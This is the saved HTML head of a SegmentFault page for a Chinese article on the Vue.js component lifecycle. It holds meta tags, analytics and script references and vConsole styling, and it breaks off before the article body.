<!DOCTYPE html>
<!-- saved from url=(0065)https://segmentfault.com/a/1190000020173042?utm_source=tag-newest -->
<html lang="zh-CN" data-react-helmet="lang"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Vue 生命周期详解 - SegmentFault 思否</title>
    
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no">
    <meta httpequiv="X-UA-Compatible" content="IE=edge, chrome=1">
    <meta name="renderer" content="webkit">
    <meta name="alexaVerifyID" content="LkzCRJ7rPEUwt6fVey2vhxiw1vQ">
    <meta name="apple-itunes-app" content="app-id=958101793, app-argument=">
    <meta property="qc:admins" content="15317273575564615446375">
    <meta name="msapplication-TileColor" content="#009a61">
    <meta name="baidu_union_verify" content="bcf7fd80dca60d53d46d5b46e1b990ca">
    <meta name="sogou_site_verification" content="MKVKCoIjwL">
    <meta name="360-site-verification" content="737314c9bf48873a1a0a22295203d9d1">
    <meta rel="apple-touch-icon" href="https://cdn.segmentfault.com/r-abcbd397/touch-icon.png">
    <meta name="msapplication-square150x150logo" content="https://cdn.segmentfault.com/r-abcbd397/touch-icon.png">
    <link rel="shortcut icon" type="image/x-icon" href="https://cdn.segmentfault.com/r-abcbd397/favicon.ico">
    <link rel="search" type="application/opensearchdescription+xml" href="https://segmentfault.com/opensearch.xml" title="SegmentFault">
    <link rel="alternate" type="application/atom+xml" href="https://segmentfault.com/feeds/questions" title="SegmentFault 最新问题">
    <link rel="alternate" type="application/atom+xml" href="https://segmentfault.com/feeds/blogs" title="SegmentFault 最新文章">
    <link rel="stylesheet" href="./Vue 生命周期详解 - SegmentFault 思否_files/umi.css">
    <script async="" defer="" src="./Vue 生命周期详解 - SegmentFault 思否_files/f.txt"></script><script async="" defer="" src="./Vue 生命周期详解 - SegmentFault 思否_files/fl.js.下载"></script><script async="" defer="" src="./Vue 生命周期详解 - SegmentFault 思否_files/spc.php"></script><script async="" defer="" src="./Vue 生命周期详解 - SegmentFault 思否_files/spcjs.php"></script><script type="text/javascript" async="" src="./Vue 生命周期详解 - SegmentFault 思否_files/analytics.js.下载"></script><script src="./Vue 生命周期详解 - SegmentFault 思否_files/hm.js.下载"></script><script>
      window.routerBase = "/";
    </script>
    <script>
      window.publicPath =
        window.resourceBaseUrl || "https://cdn.segmentfault.com/r-abcbd397/";
    </script>
    <script>
      //! umi version: 3.4.15
    </script>
    <script>
      var _hmt = _hmt || [];
    </script>
    <script>
      (function () {
        var hm = document.createElement("script");
        hm.src = "https://hm.baidu.com/hm.js?e23800c454aa573c0ccb16b52665ac26";
        var s = document.getElementsByTagName("script")[0];
        s.parentNode.insertBefore(hm, s);
      })();
    </script>
  <meta data-react-helmet="true" name="keywords" content="javascript,vue.js"><meta data-react-helmet="true" name="description" content="最开始，用户使用 new Vue() 创建根 Vue 实例，或者 Vue 实例化子组件都会调用_init方法（我们将这两种实例都称为vm）："><meta data-react-helmet="true" name="userId" value="" id="SFUserId"><meta data-react-helmet="true" name="userRank" value="" id="SFUserRank"><meta data-react-helmet="true" name="twitter:card" content="summary"><meta data-react-helmet="true" name="twitter:image" content="https://cdn.segmentfault.com/r-abcbd397/touch-icon.png"><meta data-react-helmet="true" name="twitter:site" content="@segment_fault"><meta data-react-helmet="true" name="twitter:creator" content="@segmentfault"><meta data-react-helmet="true" name="twitter:title" content="Vue 生命周期详解"><meta data-react-helmet="true" name="og:type" content="article"><meta data-react-helmet="true" name="og:image" content="https://cdn.segmentfault.com/r-abcbd397/touch-icon.png"><meta data-react-helmet="true" name="og:title" content="Vue 生命周期详解"><meta data-react-helmet="true" name="msvalidate.01" content="2C018C53297C8388F3E7052F5E9CA6AF"><meta data-react-helmet="true" name="event-object" value="{&quot;current&quot;: [&quot;article&quot;, [&quot;1190000020173042&quot;]], &quot;root&quot;: [&quot;article&quot;, &quot;1190000020173042&quot;]}" id="SFEventObject"><link rel="preload" href="./Vue 生命周期详解 - SegmentFault 思否_files/layouts__index_p__Live__Add_p__Video__Add_p__Write.chunk.css"><link rel="stylesheet" href="./Vue 生命周期详解 - SegmentFault 思否_files/layouts__index_p__Live__Add_p__Video__Add_p__Write.chunk.css">
<link rel="preload" href="./Vue 生命周期详解 - SegmentFault 思否_files/layouts__index.chunk.css"><link rel="stylesheet" href="./Vue 生命周期详解 - SegmentFault 思否_files/layouts__index.chunk.css">
<link rel="preload" href="./Vue 生命周期详解 - SegmentFault 思否_files/p__ArticleDetail.chunk.css"><link rel="stylesheet" href="./Vue 生命周期详解 - SegmentFault 思否_files/p__ArticleDetail.chunk.css">
<script src="./Vue 生命周期详解 - SegmentFault 思否_files/js" async=""></script><style>#__vconsole {
  --VC-BG-0: #ededed;
  --VC-BG-1: #f7f7f7;
  --VC-BG-2: #fff;
  --VC-BG-3: #f7f7f7;
  --VC-BG-4: #4c4c4c;
  --VC-BG-5: #fff;
  --VC-FG-0: rgba(0, 0, 0, 0.9);
  --VC-FG-HALF: rgba(0, 0, 0, 0.9);
  --VC-FG-1: rgba(0, 0, 0, 0.5);
  --VC-FG-2: rgba(0, 0, 0, 0.3);
  --VC-FG-3: rgba(0, 0, 0, 0.1);
  --VC-RED: #fa5151;
  --VC-ORANGE: #fa9d3b;
  --VC-YELLOW: #ffc300;
  --VC-GREEN: #91d300;
  --VC-LIGHTGREEN: #95ec69;
  --VC-BRAND: #07c160;
  --VC-BLUE: #10aeff;
  --VC-INDIGO: #1485ee;
  --VC-PURPLE: #6467f0;
  --VC-LINK: #576b95;
  --VC-TEXTGREEN: #06ae56;
  --VC-FG: black;
  --VC-BG: white;
  --VC-BG-COLOR-ACTIVE: #ececec;
  --VC-WARN-BG: #fff3cc;
  --VC-WARN-BORDER: #ffe799;
  --VC-ERROR-BG: #fedcdc;
  --VC-ERROR-BORDER: #fdb9b9;
  --VC-DOM-TAG-NAME-COLOR: #881280;
  --VC-DOM-ATTRIBUTE-NAME-COLOR: #994500;
  --VC-DOM-ATTRIBUTE-VALUE-COLOR: #1a1aa6;
  --VC-CODE-KEY-FG: #881391;
  --VC-CODE-PRIVATE-KEY-FG: #cfa1d3;
  --VC-CODE-FUNC-FG: #0d22aa;
  --VC-CODE-NUMBER-FG: #1c00cf;
  --VC-CODE-STR-FG: #c41a16;
  --VC-CODE-NULL-FG: #808080;
  color: var(--VC-FG-0);
  font-size: 13px;
  font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
  -webkit-user-select: auto;
  /* global */
  /* compoment */
}
#__vconsole .vc-max-height {
  max-height: 19.23076923em;
}
#__vconsole .vc-max-height-line {
  max-height: 3.38461538em;
}
#__vconsole .vc-min-height {
  min-height: 3.07692308em;
}
#__vconsole dd,
#__vconsole dl,
#__vconsole pre {
  margin: 0;
}
#__vconsole .vc-switch {
  display: block;
  position: fixed;
  right: 0.76923077em;
  bottom: 0.76923077em;
  color: #FFF;
  background-color: var(--VC-BRAND);
  line-height: 1;
  font-size: 1.07692308em;
  padding: 0.61538462em 1.23076923em;
  z-index: 10000;
  border-radius: 0.30769231em;
  box-shadow: 0 0 0.61538462em rgba(0, 0, 0, 0.4);
}
#__vconsole .vc-mask {
  display: none;
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background: rgba(0, 0, 0, 0);
  z-index: 10001;
  -webkit-transition: background 0.3s;
  transition: background 0.3s;
  -webkit-tap-highlight-color: transparent;
  overflow-y: scroll;
}
#__vconsole .vc-panel {
  display: none;
  position: fixed;
  min-height: 85%;
  left: 0;
  right: 0;
  bottom: 0;
  z-index: 10002;
  background-color: var(--VC-BG-0);
  -webkit-transition: -webkit-transform 0.3s;
  transition: -webkit-transform 0.3s;
  transition: transform 0.3s;
  transition: transform 0.3s, -webkit-transform 0.3s;
  -webkit-transform: translate(0, 100%);
  transform: translate(0, 100%);
}
#__vconsole .vc-tabbar {
  border-bottom: 1px solid var(--VC-FG-3);
  overflow-x: auto;
  height: 3em;
  width: auto;
  white-space: nowrap;
}
#__vconsole .vc-tabbar .vc-tab {
  display: inline-block;
  line-height: 3em;
  padding: 0 1.15384615em;
  border-right: 1px solid var(--VC-FG-3);
  text-decoration: none;
  color: var(--VC-FG-0);
  -webkit-tap-highlight-color: transparent;
  -webkit-touch-callout: none;
}
#__vconsole .vc-tabbar .vc-tab:active {
  background-color: rgba(0, 0, 0, 0.15);
}
#__vconsole .vc-tabbar .vc-tab.vc-actived {
  background-color: var(--VC-BG-1);
}
#__vconsole .vc-content {
  background-color: var(--VC-BG-2);
  overflow-x: hidden;
  overflow-y: auto;
  position: absolute;
  top: 3.07692308em;
  left: 0;
  right: 0;
  bottom: 3.07692308em;
  -webkit-overflow-scrolling: touch;
  margin-bottom: constant(safe-area-inset-bottom);
  margin-bottom: env(safe-area-inset-bottom);
}
#__vconsole .vc-content.vc-has-topbar {
  top: 5.46153846em;
}
#__vconsole .vc-topbar {
  background-color: var(--VC-BG-1);
  display: -webkit-box;
  display: -webkit-flex;
  display: -moz-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
  -webkit-flex-direction: row;
  -moz-box-orient: horizontal;
  -moz-box-direction: normal;
  -ms-flex-direction: row;
  flex-direction: row;
  -webkit-flex-wrap: wrap;
  -ms-flex-wrap: wrap;
  flex-wrap: wrap;
  width: 100%;
}
#__vconsole .vc-topbar .vc-toptab {
  display: none;
  -webkit-box-flex: 1;
  -webkit-flex: 1;
  -moz-box-flex: 1;
  -ms-flex: 1;
  flex: 1;
  line-height: 2.30769231em;
  padding: 0 1.15384615em;
  border-bottom: 1px solid var(--VC-FG-3);
  text-decoration: none;
  text-align: center;
  color: var(--VC-FG-0);
  -webkit-tap-highlight-color: transparent;
  -webkit-touch-callout: none;
}
#__vconsole .vc-topbar .vc-toptab.vc-toggle {
  display: block;
}
#__vconsole .vc-topbar .vc-toptab:active {
  background-color: rgba(0, 0, 0, 0.15);
}
#__vconsole .vc-topbar .vc-toptab.vc-actived {
  border-bottom: 1px solid var(--VC-INDIGO);
}
#__vconsole .vc-logbox {
  display: none;
  position: relative;
  min-height: 100%;
}
#__vconsole .vc-logbox i {
  font-style: normal;
}
#__vconsole .vc-logbox .vc-log {
  padding-bottom: 6em;
  -webkit-tap-highlight-color: transparent;
}
#__vconsole .vc-logbox .vc-log:empty:before {
  content: "Empty";
  color: var(--VC-FG-1);
  position: absolute;
  top: 45%;
  left: 0;
  right: 0;
  bottom: 0;
  font-size: 1.15384615em;
  text-align: center;
}
#__vconsole .vc-logbox .vc-item {
  margin: 0;
  padding: 0.46153846em 0.61538462em;
  overflow: hidden;
  line-height: 1.3;
  border-bottom: 1px solid var(--VC-FG-3);
  word-break: break-word;
}
#__vconsole .vc-logbox .vc-item-info {
  color: var(--VC-PURPLE);
}
#__vconsole .vc-logbox .vc-item-debug {
  color: var(--VC-YELLOW);
}
#__vconsole .vc-logbox .vc-item-warn {
  color: var(--VC-ORANGE);
  border-color: var(--VC-WARN-BORDER);
  background-color: var(--VC-WARN-BG);
}
#__vconsole .vc-logbox .vc-item-error {
  color: var(--VC-RED);
  border-color: var(--VC-ERROR-BORDER);
  background-color: var(--VC-ERROR-BG);
}
#__vconsole .vc-logbox .vc-log.vc-log-partly .vc-item {
  display: none;
}
#__vconsole .vc-logbox .vc-log.vc-log-partly-log .vc-item-log,
#__vconsole .vc-logbox .vc-log.vc-log-partly-info .vc-item-info,
#__vconsole .vc-logbox .vc-log.vc-log-partly-warn .vc-item-warn,
#__vconsole .vc-logbox .vc-log.vc-log-partly-error .vc-item-error {
  display: block;
}
#__vconsole .vc-logbox .vc-item.hide {
  display: none;
}
#__vconsole .vc-logbox .vc-item .vc-item-content {
  margin-right: 4.61538462em;
  display: inline-block;
}
#__vconsole .vc-logbox .vc-item .vc-item-repeat {
  display: inline-block;
  margin-right: 0.30769231em;
  padding: 0 6.5px;
  color: #D7E0EF;
  background-color: #42597F;
  border-radius: 8.66666667px;
}
#__vconsole .vc-logbox .vc-item.vc-item-error .vc-item-repeat {
  color: #901818;
  background-color: var(--VC-RED);
}
#__vconsole .vc-logbox .vc-item.vc-item-warn .vc-item-repeat {
  color: #987D20;
  background-color: #F4BD02;
}
#__vconsole .vc-logbox .vc-item .vc-item-code {
  display: block;
  white-space: pre-wrap;
  overflow: auto;
  position: relative;
}
#__vconsole .vc-logbox .vc-item .vc-item-code.vc-item-code-input,
#__vconsole .vc-logbox .vc-item .vc-item-code.vc-item-code-output {
  padding-left: 0.92307692em;
}
#__vconsole .vc-logbox .vc-item .vc-item-code.vc-item-code-input:before,
#__vconsole .vc-logbox .vc-item .vc-item-code.vc-item-code-output:before {
  content: "›";
  position: absolute;
  top: -0.23076923em;
  left: 0;
  font-size: 1.23076923em;
  color: #6A5ACD;
}
#__vconsole .vc-logbox .vc-item .vc-item-code.vc-item-code-output:before {
  content: "‹";
}
#__vconsole .vc-logbox .vc-item .vc-fold {
  display: block;
  overflow: auto;
  -webkit-overflow-scrolling: touch;
}
#__vconsole .vc-logbox .vc-item .vc-fold .vc-fold-outer {
  display: block;
  font-style: italic;
  padding-left: 0.76923077em;
  position: relative;
}
#__vconsole .vc-logbox .vc-item .vc-fold .vc-fold-outer:active {
  background-color: var(--VC-BG-COLOR-ACTIVE);
}
#__vconsole .vc-logbox .vc-item .vc-fold .vc-fold-outer:before {
  content: "";
  position: absolute;
  top: 0.30769231em;
  left: 0.15384615em;
  width: 0;
  height: 0;
  border: transparent solid 0.30769231em;
  border-left-color: var(--VC-FG-1);
}
#__vconsole .vc-logbox .vc-item .vc-fold .vc-fold-outer.vc-toggle:before {
  top: 0.46153846em;
  left: 0;
  border-top-color: var(--VC-FG-1);
  border-left-color: transparent;
}
#__vconsole .vc-logbox .vc-item .vc-fold .vc-fold-inner {
  display: none;
  margin-left: 0.76923077em;
}
#__vconsole .vc-logbox .vc-item .vc-fold .vc-fold-inner.vc-toggle {
  display: block;
}
#__vconsole .vc-logbox .vc-item .vc-fold .vc-fold-inner .vc-code-key {
  margin-left: 0.76923077em;
}
#__vconsole .vc-logbox .vc-item .vc-fold .vc-fold-outer .vc-code-key {
  margin-left: 0;
}
#__vconsole .vc-logbox .vc-code-key {
  color: var(--VC-CODE-KEY-FG);
}
#__vconsole .vc-logbox .vc-code-private-key {
  color: var(--VC-CODE-PRIVATE-KEY-FG);
}
#__vconsole .vc-logbox .vc-code-function {
  color: var(--VC-CODE-FUNC-FG);
  font-style: italic;
}
#__vconsole .vc-logbox .vc-code-number,
#__vconsole .vc-logbox .vc-code-boolean {
  color: var(--VC-CODE-NUMBER-FG);
}
#__vconsole .vc-logbox .vc-code-string {
  color: var(--VC-CODE-STR-FG);
}
#__vconsole .vc-logbox .vc-code-null,
#__vconsole .vc-logbox .vc-code-undefined {
  color: var(--VC-CODE-NULL-FG);
}
#__vconsole .vc-logbox .vc-cmd {
  position: absolute;
  height: 3.07692308em;
  left: 0;
  right: 0;
  bottom: 41px;
  border-top: 1px solid var(--VC-FG-3);
  display: block!important;
}
#__vconsole .vc-logbox .vc-cmd.vc-filter {
  bottom: 0;
}
#__vconsole .vc-logbox .vc-cmd .vc-cmd-input-wrap {
  display: block;
  height: 2.15384615em;
  margin-right: 3.07692308em;
  padding: 0.46153846em 0.61538462em;
}
#__vconsole .vc-logbox .vc-cmd .vc-cmd-input {
  width: 100%;
  border: none;
  resize: none;
  outline: none;
  padding: 0;
  font-size: 0.92307692em;
  background-color: transparent;
  color: var(--VC-FG-0);
}
#__vconsole .vc-logbox .vc-cmd .vc-cmd-input::-webkit-input-placeholder {
  line-height: 2.15384615em;
}
#__vconsole .vc-logbox .vc-cmd .vc-cmd-btn {
  position: absolute;
  top: 0;
  right: 0;
  bottom: 0;
  width: 3.07692308em;
  border: none;
  background-color: var(--VC-BG-0);
  color: var(--VC-FG-0);
  outline: none;
  -webkit-touch-callout: none;
  font-size: 1em;
}
#__vconsole .vc-logbox .vc-cmd .vc-cmd-btn:active {
  background-color: rgba(0, 0, 0, 0.15);
}
#__vconsole .vc-logbox .vc-cmd .vc-cmd-prompted {
  position: fixed;
  width: 100%;
  background-color: var(--VC-BG-3);
  border: 1px solid var(--VC-FG-3);
  overflow-x: scroll;
  display: none;
}
#__vconsole .vc-logbox .vc-cmd .vc-cmd-prompted li {
  list-style: none;
  line-height: 30px;
  padding: 0 0.46153846em;
  border-bottom: 1px solid var(--VC-FG-3);
}
#__vconsole .vc-logbox .vc-group .vc-group-preview {
  -webkit-touch-callout: none;
}
#__vconsole .vc-logbox .vc-group .vc-group-preview:active {
  background-color: var(--VC-BG-COLOR-ACTIVE);
}
#__vconsole .vc-logbox .vc-group .vc-group-detail {
  display: none;
  padding: 0 0 0.76923077em 1.53846154em;
  border-bottom: 1px solid var(--VC-FG-3);
}
#__vconsole .vc-logbox .vc-group.vc-actived .vc-group-detail {
  display: block;
  background-color: var(--VC-BG-1);
}
#__vconsole .vc-logbox .vc-group.vc-actived .vc-table-row {
  background-color: var(--VC-BG-2);
}
#__vconsole .vc-logbox .vc-group.vc-actived .vc-group-preview {
  background-color: var(--VC-BG-1);
}
#__vconsole .vc-logbox .vc-table .vc-table-row {
  display: -webkit-box;
  display: -webkit-flex;
  display: -moz-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
  -webkit-flex-direction: row;
  -moz-box-orient: horizontal;
  -moz-box-direction: normal;
  -ms-flex-direction: row;
  flex-direction: row;
  -webkit-flex-wrap: wrap;
  -ms-flex-wrap: wrap;
  flex-wrap: wrap;
  overflow: hidden;
  border-bottom: 1px solid var(--VC-FG-3);
}
#__vconsole .vc-logbox .vc-table .vc-table-row.vc-left-border {
  border-left: 1px solid var(--VC-FG-3);
}
#__vconsole .vc-logbox .vc-table .vc-table-col {
  -webkit-box-flex: 1;
  -webkit-flex: 1;
  -moz-box-flex: 1;
  -ms-flex: 1;
  flex: 1;
  padding: 0.23076923em 0.30769231em;
  border-left: 1px solid var(--VC-FG-3);
  overflow: auto;
  white-space: pre-wrap;
  word-break: break-word;
  /*white-space: nowrap;
        text-overflow: ellipsis;*/
  -webkit-overflow-scrolling: touch;
}
#__vconsole .vc-logbox .vc-table .vc-table-col:first-child {
  border: none;
}
#__vconsole .vc-logbox .vc-table .vc-small .vc-table-col {
  padding: 0 0.30769231em;
  font-size: 0.92307692em;
}
#__vconsole .vc-logbox .vc-table .vc-table-col-2 {
  -webkit-box-flex: 2;
  -webkit-flex: 2;
  -moz-box-flex: 2;
  -ms-flex: 2;
  flex: 2;
}
#__vconsole .vc-logbox .vc-table .vc-table-col-3 {
  -webkit-box-flex: 3;
  -webkit-flex: 3;
  -moz-box-flex: 3;
  -ms-flex: 3;
  flex: 3;
}
#__vconsole .vc-logbox .vc-table .vc-table-col-4 {
  -webkit-box-flex: 4;
  -webkit-flex: 4;
  -moz-box-flex: 4;
  -ms-flex: 4;
  flex: 4;
}
#__vconsole .vc-logbox .vc-table .vc-table-col-5 {
  -webkit-box-flex: 5;
  -webkit-flex: 5;
  -moz-box-flex: 5;
  -ms-flex: 5;
  flex: 5;
}
#__vconsole .vc-logbox .vc-table .vc-table-col-6 {
  -webkit-box-flex: 6;
  -webkit-flex: 6;
  -moz-box-flex: 6;
  -ms-flex: 6;
  flex: 6;
}
#__vconsole .vc-logbox .vc-table .vc-table-row-error {
  border-color: var(--VC-ERROR-BORDER);
  background-color: var(--VC-ERROR-BG);
}
#__vconsole .vc-logbox .vc-table .vc-table-row-error .vc-table-col {
  color: var(--VC-RED);
  border-color: var(--VC-ERROR-BORDER);
}
#__vconsole .vc-logbox .vc-table .vc-table-col-title {
  font-weight: bold;
}
#__vconsole .vc-logbox.vc-actived {
  display: block;
}
#__vconsole .vc-toolbar {
  border-top: 1px solid var(--VC-FG-3);
  line-height: 3em;
  position: absolute;
  left: 0;
  right: 0;
  bottom: 0;
  display: -webkit-box;
  display: -webkit-flex;
  display: -moz-box;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
  -webkit-flex-direction: row;
  -moz-box-orient: horizontal;
  -moz-box-direction: normal;
  -ms-flex-direction: row;
  flex-direction: row;
}
#__vconsole .vc-toolbar .vc-tool {
  display: none;
  text-decoration: none;
  color: var(--VC-FG-0);
  width: 50%;
  -webkit-box-flex: 1;
  -webkit-flex: 1;
  -moz-box-flex: 1;
  -ms-flex: 1;
  flex: 1;
  text-align: center;
  position: relative;
  -webkit-touch-callout: none;
}
#__vconsole .vc-toolbar .vc-tool.vc-toggle,
#__vconsole .vc-toolbar .vc-tool.vc-global-tool {
  display: block;
}
#__vconsole .vc-toolbar .vc-tool:active {
  background-color: rgba(0, 0, 0, 0.15);
}
#__vconsole .vc-toolbar .vc-tool:after {
  content: " ";
  position: absolute;
  top: 0.53846154em;
  bottom: 0.53846154em;
  right: 0;
  border-left: 1px solid var(--VC-FG-3);
}
#__vconsole .vc-toolbar .vc-tool-last:after {
  border: none;
}
@supports (bottom: constant(safe-area-inset-bottom)) or (bottom: env(safe-area-inset-bottom)) {
  #__vconsole .vc-toolbar,
  #__vconsole .vc-switch {
    bottom: constant(safe-area-inset-bottom);
    bottom: env(safe-area-inset-bottom);
  }
}
#__vconsole.vc-toggle .vc-switch {
  display: none;
}
#__vconsole.vc-toggle .vc-mask {
  background: rgba(0, 0, 0, 0.6);
  display: block;
}
#__vconsole.vc-toggle .vc-panel {
  -webkit-transform: translate(0, 0);
  transform: translate(0, 0);
}
@media (prefers-color-scheme: dark) {
  #__vconsole:not([data-theme="light"]) {
    --VC-BG-0: #191919;
    --VC-BG-1: #1f1f1f;
    --VC-BG-2: #232323;
    --VC-BG-3: #2f2f2f;
    --VC-BG-4: #606060;
    --VC-BG-5: #2c2c2c;
    --VC-FG-0: rgba(255, 255, 255, 0.8);
    --VC-FG-HALF: rgba(255, 255, 255, 0.6);
    --VC-FG-1: rgba(255, 255, 255, 0.5);
    --VC-FG-2: rgba(255, 255, 255, 0.3);
    --VC-FG-3: rgba(255, 255, 255, 0.05);
    --VC-RED: #fa5151;
    --VC-ORANGE: #c87d2f;
    --VC-YELLOW: #cc9c00;
    --VC-GREEN: #74a800;
    --VC-LIGHTGREEN: #28b561;
    --VC-BRAND: #07c160;
    --VC-BLUE: #10aeff;
    --VC-INDIGO: #1196ff;
    --VC-PURPLE: #8183ff;
    --VC-LINK: #7d90a9;
    --VC-TEXTGREEN: #259c5c;
    --VC-FG: white;
    --VC-BG: black;
    --VC-BG-COLOR-ACTIVE: #282828;
    --VC-WARN-BG: #332700;
    --VC-WARN-BORDER: #664e00;
    --VC-ERROR-BG: #321010;
    --VC-ERROR-BORDER: #642020;
    --VC-DOM-TAG-NAME-COLOR: #5DB0D7;
    --VC-DOM-ATTRIBUTE-NAME-COLOR: #9BBBDC;
    --VC-DOM-ATTRIBUTE-VALUE-COLOR: #f29766;
    --VC-CODE-KEY-FG: #e36eec;
    --VC-CODE-PRIVATE-KEY-FG: #f4c5f7;
    --VC-CODE-FUNC-FG: #556af2;
    --VC-CODE-NUMBER-FG: #9980ff;
    --VC-CODE-STR-FG: #e93f3b;
    --VC-CODE-NULL-FG: #808080;
  }
}
#__vconsole[data-theme="dark"] {
  --VC-BG-0: #191919;
  --VC-BG-1: #1f1f1f;
  --VC-BG-2: #232323;
  --VC-BG-3: #2f2f2f;
  --VC-BG-4: #606060;
  --VC-BG-5: #2c2c2c;
  --VC-FG-0: rgba(255, 255, 255, 0.8);
  --VC-FG-HALF: rgba(255, 255, 255, 0.6);
  --VC-FG-1: rgba(255, 255, 255, 0.5);
  --VC-FG-2: rgba(255, 255, 255, 0.3);
  --VC-FG-3: rgba(255, 255, 255, 0.05);
  --VC-RED: #fa5151;
  --VC-ORANGE: #c87d2f;
  --VC-YELLOW: #cc9c00;
  --VC-GREEN: #74a800;
  --VC-LIGHTGREEN: #28b561;
  --VC-BRAND: #07c160;
  --VC-BLUE: #10aeff;
  --VC-INDIGO: #1196ff;
  --VC-PURPLE: #8183ff;
  --VC-LINK: #7d90a9;
  --VC-TEXTGREEN: #259c5c;
  --VC-FG: white;
  --VC-BG: black;
  --VC-BG-COLOR-ACTIVE: #282828;
  --VC-WARN-BG: #332700;
  --VC-WARN-BORDER: #664e00;
  --VC-ERROR-BG: #321010;
  --VC-ERROR-BORDER: #642020;
  --VC-DOM-TAG-NAME-COLOR: #5DB0D7;
  --VC-DOM-ATTRIBUTE-NAME-COLOR: #9BBBDC;
  --VC-DOM-ATTRIBUTE-VALUE-COLOR: #f29766;
  --VC-CODE-KEY-FG: #e36eec;
  --VC-CODE-PRIVATE-KEY-FG: #f4c5f7;
  --VC-CODE-FUNC-FG: #556af2;
  --VC-CODE-NUMBER-FG: #9980ff;
  --VC-CODE-STR-FG: #e93f3b;
  --VC-CODE-NULL-FG: #808080;
}
</style><style>/* color */
.vcelm-node {
  color: var(--VC-DOM-TAG-NAME-COLOR);
}
.vcelm-k {
  color: var(--VC-DOM-ATTRIBUTE-NAME-COLOR);
}
.vcelm-v {
  color: var(--VC-DOM-ATTRIBUTE-VALUE-COLOR);
}
/* layout */
.vcelm-l {
  padding-left: 8px;
  position: relative;
  word-wrap: break-word;
  line-height: 1;
}
/*.vcelm-l.vcelm-noc {
  padding-left: 0;
}*/
.vcelm-l.vc-toggle > .vcelm-node {
  display: block;
}
.vcelm-l .vcelm-node:active {
  background-color: var(--VC-BG-COLOR-ACTIVE);
}
.vcelm-l.vcelm-noc .vcelm-node:active {
  background-color: transparent;
}
.vcelm-t {
  white-space: pre-wrap;
  word-wrap: break-word;
}
/* level */
.vcelm-l .vcelm-l {
  display: none;
}
.vcelm-l.vc-toggle > .vcelm-l {
  margin-left: 4px;
  display: block;
}
/* arrow */
.vcelm-l:before {
  content: "";
  display: block;
  position: absolute;
  top: 6px;
  left: 3px;
  width: 0;
  height: 0;
  border: transparent solid 3px;
  border-left-color: var(--VC-FG-1);
}
.vcelm-l.vc-toggle:before {
  display: block;
  top: 6px;
  left: 0;
  border-top-color: var(--VC-FG-1);
  border-left-color: transparent;
}
.vcelm-l.vcelm-noc:before {
  display: none;
}
</style><script charset="utf-8" src="./Vue 生命周期详解 - SegmentFault 思否_files/vendors_layouts__index_p__Area__GDS-2020_p__Area__Gromore_p__Area__HarmonyOSForerunner_p__ArticleDet_02c34f5a.js.下载"></script><script charset="utf-8" src="./Vue 生命周期详解 - SegmentFault 思否_files/vendors_layouts__index_p__ArticleDetail_p__Blogs_p__Live_p__Live__Add_p__PersonalSetting_p__Question_e888a1ad.js.下载"></script><script charset="utf-8" src="./Vue 生命周期详解 - SegmentFault 思否_files/vendors_layouts__index.js.下载"></script><script charset="utf-8" src="./Vue 生命周期详解 - SegmentFault 思否_files/layouts__index_p__Live__Add_p__Video__Add_p__Write.js.下载"></script><script charset="utf-8" src="./Vue 生命周期详解 - SegmentFault 思否_files/layouts__index.js.下载"></script><script charset="utf-8" src="./Vue 生命周期详解 - SegmentFault 思否_files/2.js.下载"></script><script charset="utf-8" src="./Vue 生命周期详解 - SegmentFault 思否_files/vendors_p__ArticleDetail_p__Live_p__QuestionDetail_p__Video.js.下载"></script><script charset="utf-8" src="./Vue 生命周期详解 - SegmentFault 思否_files/p__ArticleDetail.js.下载"></script><script async="true" defer="true" data-domain="segmentfault.com" src="./Vue 生命周期详解 - SegmentFault 思否_files/plausible.js.下载" data-react-helmet="true"></script><script type="application/ld+json" data-react-helmet="true">{
            "@context": "https://schema.org",
            "@type": "Article",
            "mainEntityOfPage": {
              "@type": "WebPage",
              "@id": "https://google.com/article"
            },
            "name": "Vue 生命周期详解",
            "headline": "Vue 生命周期详解",
            "image": "https://cdn.segmentfault.com/r-abcbd397/touch-icon.png",
            "datePublished": "2019-08-24T06:33:13.000Z",
            "dateModified": "2019-09-09T01:57:28.000Z",
            "url": "https://segmentfault.com/a/1190000020173042",
            "author": {
              "@type": "Person",
              "name": "宗介"
            },
            "publisher": {
              "@type": "Organization",
              "name": "SegmentFault",
              "logo": {
                "@type": "ImageObject",
                "url":
                  "https://assets.segmentfault.com/v-5fc4b0b2/global/img/static/touch-icon.png"
              }
            }
          }</script><script charset="utf-8" src="./Vue 生命周期详解 - SegmentFault 思否_files/65.js.下载"></script><script charset="utf-8" src="./Vue 生命周期详解 - SegmentFault 思否_files/66.js.下载"></script><script charset="utf-8" src="./Vue 生命周期详解 - SegmentFault 思否_files/67.js.下载"></script><script charset="utf-8" src="./Vue 生命周期详解 - SegmentFault 思否_files/54.js.下载"></script><script charset="utf-8" src="./Vue 生命周期详解 - SegmentFault 思否_files/63.js.下载"></script><meta http-equiv="origin-trial" content="A+b/H0b8RPXNaJgaNFpO0YOFuGK6myDQXlwnJB3SwzvNMfcndat4DZYMrP4ClJIzYWo3/yP2S+8FTZ/lpqbPAAEAAABueyJvcmlnaW4iOiJodHRwczovL2ltYXNkay5nb29nbGVhcGlzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2MjYyMjA3OTksImlzVGhpcmRQYXJ0eSI6dHJ1ZX0="><meta http-equiv="origin-trial" content="A9ZgbRtm4pU3oZiuNzOsKcC8ppFSZdcjP2qYcdQrFKVzkmiWH1kdYY1Mi9x7G8+PS8HV9Ha9Cz0gaMdKsiVZIgMAAAB7eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2MjYyMjA3OTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" 